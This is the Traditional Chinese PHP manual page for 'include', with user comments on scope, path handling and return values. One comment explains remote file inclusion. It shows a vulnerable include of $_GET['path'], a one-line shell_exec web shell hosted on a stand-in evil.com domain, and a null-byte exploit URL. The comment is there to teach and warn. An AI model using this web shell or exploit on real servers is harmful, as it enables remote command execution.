PHP Conference Japan 2024

include

(PHP 4, PHP 5, PHP 7, PHP 8)

include 表達式包含並評估指定的檔案。

以下文件同樣適用於 require

檔案是根據給定的檔案路徑包含的,如果沒有給定路徑,則根據指定的 include_path。如果檔案在 include_path 中找不到,include 最後會檢查呼叫腳本的目錄和目前的工作目錄,然後才會失敗。如果 include 建構無法找到檔案,則會發出 E_WARNING;這與 require 的行為不同,後者會發出 E_ERROR

請注意,如果檔案無法存取,includerequire 都會發出額外的 E_WARNING,然後才會分別發出最終的 E_WARNINGE_ERROR

如果定義了路徑 — 無論是絕對路徑(在 Windows 上以磁碟機代號或 \ 開頭,或在 Unix/Linux 系統上以 / 開頭)還是相對於目前目錄的路徑(以 ... 開頭)— include_path 將會完全被忽略。例如,如果檔案名稱以 ../ 開頭,剖析器將會在父目錄中尋找請求的檔案。

如需更多關於 PHP 如何處理包含檔案和包含路徑的資訊,請參閱 include_path 的文件。

當檔案被包含時,它包含的程式碼會繼承包含發生之行的 變數範圍。在呼叫檔案中該行可用的任何變數,從那時起在被呼叫檔案中都將可用。但是,包含檔案中定義的所有函式和類別都具有全域範圍。

範例 #1 基本的 include 範例

vars.php
<?php

$color
= 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo
"A $color $fruit"; // A green apple

?>

如果包含發生在呼叫檔案內的函式中,那麼被呼叫檔案中包含的所有程式碼都會表現得好像它是在該函式中定義的。因此,它將會遵循該函式的變數範圍。此規則的例外是 魔術常數,它們會在包含發生之前由剖析器評估。

範例 #2 在函式中包含

<?php

function foo()
{
global
$color;

include
'vars.php';

echo
"A $color $fruit";
}

/* vars.php 在 foo() 的範圍內,所以 *
* $fruit 在這個範圍之外無法使用。$color 是因為我們將它宣告為全域。*/

foo(); // A green apple
echo "A $color $fruit"; // A green

?>

當檔案被包含時,剖析會從 PHP 模式中跳脫,並在目標檔案的開頭進入 HTML 模式,然後在結尾處再次恢復。因此,目標檔案中任何應作為 PHP 程式碼執行的程式碼都必須以 有效的 PHP 開始和結束標籤包圍。

如果在 PHP 中啟用「URL 包含封裝器」,您可以使用 URL(透過 HTTP 或其他支援的封裝器 — 請參閱 支援的協定和封裝器以取得協定清單)而不是本機路徑名稱來指定要包含的檔案。如果目標伺服器將目標檔案解譯為 PHP 程式碼,則可以使用 HTTP GET 使用的 URL 請求字串將變數傳遞給包含的檔案。這嚴格來說與包含檔案並使其繼承父檔案的變數範圍不同;實際上,腳本是在遠端伺服器上執行的,然後結果會被包含到本機腳本中。

範例 #3 透過 HTTP include

<?php

/* 此範例假設 www.example.com 設定為剖析 .php
* 檔案,而不是 .txt 檔案。此外,此處的「有效」表示變數
* $foo 和 $bar 在包含的檔案中可用。*/

// 無效;file.txt 並未由 www.example.com 作為 PHP 處理
include 'http://www.example.com/file.txt?foo=1&bar=2';

// 無效;會在本機檔案系統上尋找名為 'file.php?foo=1&bar=2' 的檔案。
include 'file.php?foo=1&bar=2';

// 有效。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

警告

安全警告

遠端檔案可能會在遠端伺服器上處理(取決於檔案副檔名和遠端伺服器是否執行 PHP),但它仍然必須產生有效的 PHP 腳本,因為它將會在本地伺服器上處理。如果遠端伺服器的檔案應該在那裡處理並且僅輸出,readfile() 是更好的函式。否則,應該特別注意保護遠端腳本以產生有效且所需的程式碼。

另請參閱 遠端檔案fopen()file() 以取得相關資訊。

處理傳回值:include 在失敗時傳回 FALSE 並引發警告。成功的包含,除非被包含檔案覆蓋,否則會傳回 1。可以在包含的檔案中執行 return 陳述式,以終止該檔案中的處理並返回呼叫它的腳本。此外,可以從包含的檔案傳回值。您可以像對普通函式一樣取得包含呼叫的值。但是,當包含遠端檔案時,除非遠端檔案的輸出具有 有效的 PHP 開始和結束標籤(與任何本機檔案一樣),否則無法執行此操作。您可以在這些標籤內宣告所需的變數,並且它們將會在包含檔案的任何位置引入。

因為 include 是一種特殊的語言建構,所以它的引數不需要使用括號。比較傳回值時請小心。

範例 #4 比較 include 的傳回值

<?php
// 無效,評估為 include(('vars.php') == TRUE),即 include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}

// 有效
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

範例 #5 includereturn 陳述式

return.php
<?php

$var
= 'PHP';

return
$var;

?>

noreturn.php
<?php

$var
= 'PHP';

?>

testreturns.php
<?php

$foo
= include 'return.php';

echo
$foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo
$bar; // prints 1

?>

$bar 的值是 1,因為 include 成功了。請注意以上範例之間的差異。第一個範例在被包含的檔案中使用 return,而另一個則沒有。如果檔案無法被包含,則會回傳 false 並發出 E_WARNING 錯誤。

如果被包含的檔案中有定義函式,它們可以在主檔案中使用,無論它們是在 return 之前還是之後。如果檔案被包含兩次,PHP 會引發致命錯誤,因為函式已被宣告。建議使用 include_once,而不是檢查檔案是否已被包含,並在被包含的檔案中有條件地回傳。

另一種將 PHP 檔案「包含」到變數中的方法是使用 輸出控制函式搭配 include 來捕捉輸出。例如:

範例 #6 使用輸出緩衝將 PHP 檔案包含到字串中

<?php
$string
= get_include_contents('somefile.php');

function
get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}

?>

為了在腳本中自動包含檔案,另請參閱 php.ini 中的 auto_prepend_fileauto_append_file 設定選項。

注意因為這是一個語言結構而不是函式,所以無法使用 可變函式命名引數來呼叫它。

另請參閱 requirerequire_onceinclude_onceget_included_files()readfile()virtual()include_path

新增註解

使用者貢獻的註解 13 個註解

149
snowyurik at gmail dot com
16 年前
這可能有用
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
這樣您就可以在 Web 專案樹的任何位置移動腳本而無需變更。
59
Rash
9 年前
如果您想要包含檔案,但不希望它們可以直接從用戶端存取,請,請,看在鍵盤的份上,不要這樣做

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// 檢查是否已定義 what,若未定義則中止

?>

您不應該這樣做的原因是因為有更好的選項可用。將包含檔案移出專案的根目錄。因此,如果您的專案的根目錄位於「/usr/share/nginx/html」,請將包含檔案保留在「/usr/share/nginx/src」中。

<?php

# index.php (在根目錄 (/usr/share/nginx/html) 中)

include __DIR__ . '/../src/includeFile.php';

?>

由於使用者無法輸入「your.site/../src/includeFile.php」,因此您的包含檔案將無法直接讓使用者存取。
36
John Carty
8 年前
在使用 PHP 的 include、require、include_once 或 require_once 陳述式之前,您應該進一步了解「本機檔案包含 (Local File Inclusion,也稱為 LFI)」和「遠端檔案包含 (Remote File Inclusion,也稱為 RFI)」。

正如範例 #3 指出的那樣,可以從遠端伺服器包含 PHP 檔案。

當您在 include 陳述式中使用輸入變數而未進行適當的輸入驗證時,就會發生 LFI 和 RFI 漏洞。假設您有一個包含程式碼的 example.php

<?php
// 不好的程式碼
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

作為程式設計師,您可能會期望使用者瀏覽到您指定的路徑。

但是,它會開啟 RFI 漏洞。為了以攻擊者的身分利用它,我會先在我的 evil.com 網域上設定一個包含 PHP 程式碼的惡意文字檔。

evil.txt
<?php echo shell_exec($_GET['command']);?>

這是一個文字檔,因此不會在我的伺服器上處理,而是在目標/受害者的伺服器上處理。我會瀏覽到
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

example.php 會下載我的 evil.txt 並處理我以 command 變數傳入的作業系統命令。在這個例子中,它是 whoami。我以 %00(空字元)結束 path 變數。example.php 中原始的 include 陳述式會忽略該行其餘的部分。它應該告訴我 Web 伺服器是以哪個使用者身分執行。

如果您在 include 陳述式中使用變數,請使用適當的輸入驗證。
33
Anon
12 年前
我再怎麼強調了解目前的工作目錄都不為過。透過以下方式尋找:echo getcwd();
請記住,如果檔案 A 包含檔案 B,而 B 包含檔案 C,則 B 中的包含路徑應考慮到 A(而不是 B)是目前的工作目錄。
16
error17191 at gmail dot com
9 年前
當直接使用檔案名稱包含檔案而未指定我們說的是目前的工作目錄時,也就是說 (include "file") 而不是 (include "./file")。PHP 會先在目前的工作目錄(由 getcwd() 給定)中搜尋,然後接下來在正在執行的腳本目錄(由 __dir__ 給定)中搜尋。
以下是一個展示情況的範例
我們有兩個目錄結構
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test 包含以下文字
這是 dir1 中的測試
dir2/test 包含以下文字
這是 dir2 中的測試
dir1_test 包含以下文字
這是 dir1_test
dir2_test 包含以下文字
這是 dir2_test

script.php 包含以下程式碼
<?php

echo '目前呼叫腳本的目錄:' . __DIR__;
echo
'<br />';
echo
'目前的工作目錄:' . getcwd();
echo
'<br />';
echo
'包含 "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'將目前的工作目錄變更為 dir2';
chdir('../dir2');
echo
'<br />';
echo
'目前呼叫腳本的目錄:' . __DIR__;
echo
'<br />';
echo
'目前的工作目錄:' . getcwd();
echo
'<br />';
echo
'包含 "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'包含 "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'包含 "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'包含 "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('無法包含此檔案 ');
?>
執行 script.php 的輸出為

目前呼叫腳本的目錄:C:\dev\www\php_experiments\working_directory\example2\dir1
目前的工作目錄:C:\dev\www\php_experiments\working_directory\example2\dir1
包含 "test" ...
這是 dir1 中的測試
將目前的工作目錄變更為 dir2
目前呼叫腳本的目錄:C:\dev\www\php_experiments\working_directory\example2\dir1
目前的工作目錄:C:\dev\www\php_experiments\working_directory\example2\dir2
包含 "test" ...
這是 dir2 中的測試
包含 "dir2_test" ...
這是 dir2_test
包含 "dir1_test" ...
這是 dir1_test
包含 "./dir1_test" ...
無法包含此檔案
7
jbezorg at gmail dot com
6 年前
理想情況下,應該將包含檔案放在網站根目錄之外。但這通常不太可能,特別是在發佈套裝應用程式時,您不知道您的應用程式會在什麼伺服器環境中執行。在這種情況下,我會使用以下程式碼作為第一行。

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
12
Wade.
16 年前
如果您做了很多動態/計算的包含(例如,超過 100 個),那麼您可能會想了解這個效能比較:如果目標檔案不存在,那麼 @include() 會比在前面加上 file_exists() 檢查 *慢* *十* *倍*。(如果檔案只是偶爾存在,這將非常重要 - 例如,開發環境有,但生產環境沒有。)

Wade.
2
anonphpuser
2 年前
在「範例 #2 在函數內包含」中,我認為最後兩個註解應該要反過來。
7
hyponiq at gmail dot com
15 年前
我想指出在 IIS/Windows 和 Apache/Unix (我不確定其他伺服器,但我想任何在 Windows 下的伺服器都會和 IIS/Windows 相同,而任何在 Unix 下的伺服器都會和 Apache/Unix 相同) 在包含檔案的路徑指定方面行為的差異。

請考慮以下程式碼
<?php
include '/Path/To/File.php';
?>

在 IIS/Windows 中,由於路徑開頭是斜線,因此會在虛擬主機的根目錄 (我們假設是 C:\Server\Sites\MySite) 中尋找該檔案。這種行為在所有平台下的 HTML 中都有效,因為瀏覽器將 / 解釋為伺服器的根目錄。

但是,Unix 檔案/資料夾結構略有不同。/ 代表硬碟或目前硬碟分割區的根目錄。換句話說,它基本上會尋找 root:/Path/To/File.php,而不是 serverRoot:/Path/To/File.php (我們假設是 /usr/var/www/htdocs)。因此,會拋出錯誤/警告,因為路徑不存在於根路徑中。

我只是想提一下這一點。這絕對會為那些在 Windows 下工作並將他們的應用程式傳輸到基於 Unix 的伺服器的使用者省去一些麻煩。

一個解決方法類似如下
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (
strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (
strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}

if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* 我通常將此檔案儲存在虛擬主機根目錄下的 Includes 資料夾中。
* 您可以將其變更為您儲存此檔案的任何位置。
*
* 範例:
* 如果您將此檔案儲存在您網站根目錄下的 Application/Settings/DocRoot 資料夾中,
* 則您需要修改此陣列以包含每個資料夾。
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);

if (
defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

foreach (
$directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

使用這個檔案,您可以使用定義的 SERVER_DOC_ROOT 常數來包含檔案,這樣每個包含的檔案都會從正確的位置包含,並且不會拋出錯誤/警告。

範例
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
5
Ray.Paseur often uses Gmail
10 年前
值得注意的是,PHP 提供了一個與作業系統環境相關的常數,稱為 DIRECTORY_SEPARATOR。如果您在目錄路徑中使用它而不是斜線,那麼無論您使用 *NIX 還是 (不寒而慄的) Windows,您的腳本都會是正確的。(在一個半相關的方式中,有一個智慧的行尾字元,PHP_EOL)

範例
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
5
Chris Bell
15 年前
關於使用 HTTP 懶加載包含檔案的一個警告 - 它們可能會破壞您的伺服器。

如果您要從自己的網站包含檔案,請不要使用 URL,無論它多麼容易或誘人。如果您的所有 PHP 進程都被發出請求的頁面佔用,則沒有可用的進程來服務包含檔案。原始請求將會停在那裡佔用您所有的資源,並最終超時。

請盡可能使用檔案引用。在我追蹤到問題之前,這給我們帶來了相當多的麻煩 (Zend/IIS)。
3
ayon at hyurl dot com
7 年前
它也可以從 zip 檔案中包含或開啟檔案
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
請注意,從 zip 檔案開啟檔案時,不是使用 / 或 \,而是使用 # 來分隔 zip 名稱和內部檔案的名稱。
9
Rick Garcia
16 年前
作為經驗法則,永遠不要使用相對路徑包含檔案。為了有效地執行此操作,您可以按如下方式定義常數

----
<?php // prepend.php - 在您的樹狀結構頂部自動預先加載
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

依此類推。這樣一來,您的框架中的檔案只需要發出如下語句

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

這也讓您無需在每次執行包含時都檢查包含路徑。

如果您要從您的主要網站目錄以下的目錄中執行腳本,請在每個子目錄中放置一個 prepend.php 檔案

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

這樣一來,頂部的 prepend.php 始終會被執行,而您將不會遇到路徑處理的麻煩。只需記住在每個您有可供網路存取腳本的子目錄的 .htaccess 檔案中設定 auto_prepend_file 指令即可。
To Top